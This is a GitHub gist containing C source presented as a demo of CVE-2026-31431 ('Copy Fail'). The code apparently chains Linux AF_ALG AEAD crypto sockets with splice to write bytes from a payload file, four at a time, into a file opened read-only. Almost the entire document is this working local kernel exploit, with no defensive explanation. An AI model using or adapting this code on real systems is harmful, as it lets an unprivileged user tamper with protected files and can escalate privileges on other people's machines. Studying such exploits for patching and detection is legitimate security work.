Skip to content

Instantly share code, notes, and snippets.

@bczhc
Last active May 3, 2026 13:33
Show Gist options
  • Select an option

  • Save bczhc/3799ea6664f3955cc0693b863727cd29 to your computer and use it in GitHub Desktop.

Select an option

Save bczhc/3799ea6664f3955cc0693b863727cd29 to your computer and use it in GitHub Desktop.
CVE-2026-31431 ("Copy Fail") buffer tampering demo in C
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdint.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
struct sockaddr_alg
{
unsigned short salg_family;
unsigned char salg_type[14];
unsigned int salg_feat;
unsigned int salg_mask;
unsigned char salg_name[64];
};
static inline ssize_t do_splice(int fd_in, loff_t* off_in, int fd_out, loff_t* off_out, size_t len)
{
return syscall(__NR_splice, fd_in, off_in, fd_out, off_out, len, 0);
}
int main(int argc, const char **argv)
{
if (argc != 3)
{
printf("Usage: cmd <ro-file> <payload-file>");
return 1;
}
const char *ro_file = argv[1];
const char *payload_file = argv[2];
FILE *fp_payload = fopen(payload_file, "rb");
if (fp_payload == NULL)
{
printf("Failed to open payload_file");
return 1;
}
int ret = fseek(fp_payload, 0, SEEK_END);
if (ret != 0)
{
printf("Failed to seek payload_file");
return 1;
}
size_t payload_size = ftell(fp_payload);
uint8_t* payload_buf = malloc(payload_size);
fseek(fp_payload, SEEK_SET, 0);
size_t read_size = fread(payload_buf, 1, payload_size, fp_payload);
if (read_size < payload_size)
{
printf("Unexpected EOF");
return 1;
}
int file_fd, alg_fd, op_fd, pipefd[2];
unsigned char key[40];
unsigned char msg_data[8];
unsigned char cbuf[1024];
unsigned char rbuf[256];
struct sockaddr_alg sa;
struct iovec iov;
struct msghdr msg;
struct cmsghdr* cmsg;
int clen;
size_t i, count;
loff_t file_off;
file_fd = open(ro_file, O_RDONLY);
if (file_fd < 0)
{
perror("open");
return 1;
}
memset(key, 0, sizeof(key));
key[0] = 0x08;
key[2] = 0x01;
key[7] = 0x10;
for (i = 0; i < payload_size; i += 4)
{
alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd == -1)
{
perror("AF_ALG is not supported");
return 1;
}
printf("alg_fd: %d\n", alg_fd);
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char*)sa.salg_type, "aead");
strcpy((char*)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
bind(alg_fd, (struct sockaddr*)&sa, sizeof(sa));
setsockopt(alg_fd, SOL_ALG, 1, key, sizeof(key));
setsockopt(alg_fd, SOL_ALG, 5, NULL, 4);
op_fd = accept(alg_fd, NULL, NULL);
printf("op_fd: %d\n", op_fd);
close(alg_fd);
memcpy(msg_data, "AAAA", 4);
memcpy(msg_data + 4, payload_buf + i, 4);
iov.iov_base = msg_data;
iov.iov_len = sizeof(msg_data);
clen = 0;
cmsg = (struct cmsghdr*)(cbuf + clen);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 3;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned int));
*(unsigned int*)CMSG_DATA(cmsg) = 0;
clen += CMSG_SPACE(sizeof(unsigned int));
cmsg = (struct cmsghdr*)(cbuf + clen);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 2;
cmsg->cmsg_len = CMSG_LEN(20);
memset(CMSG_DATA(cmsg), 0, 20);
((unsigned char*)CMSG_DATA(cmsg))[0] = 0x10;
clen += CMSG_SPACE(20);
cmsg = (struct cmsghdr*)(cbuf + clen);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 4;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned int));
*(unsigned int*)CMSG_DATA(cmsg) = 8;
clen += CMSG_SPACE(sizeof(unsigned int));
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = clen;
sendmsg(op_fd, &msg, 0x8000);
pipe(pipefd);
count = i + 4;
file_off = 0;
ssize_t do_splice1 = do_splice(file_fd, &file_off, pipefd[1], NULL, count);
ssize_t do_splice2 = do_splice(pipefd[0], NULL, op_fd, NULL, count);
printf("do_splice1: %ld\n", do_splice1);
printf("do_splice2: %ld\n", do_splice2);
recv(op_fd, rbuf, 8 + i, 0);
close(pipefd[0]);
close(pipefd[1]);
close(op_fd);
}
close(file_fd);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment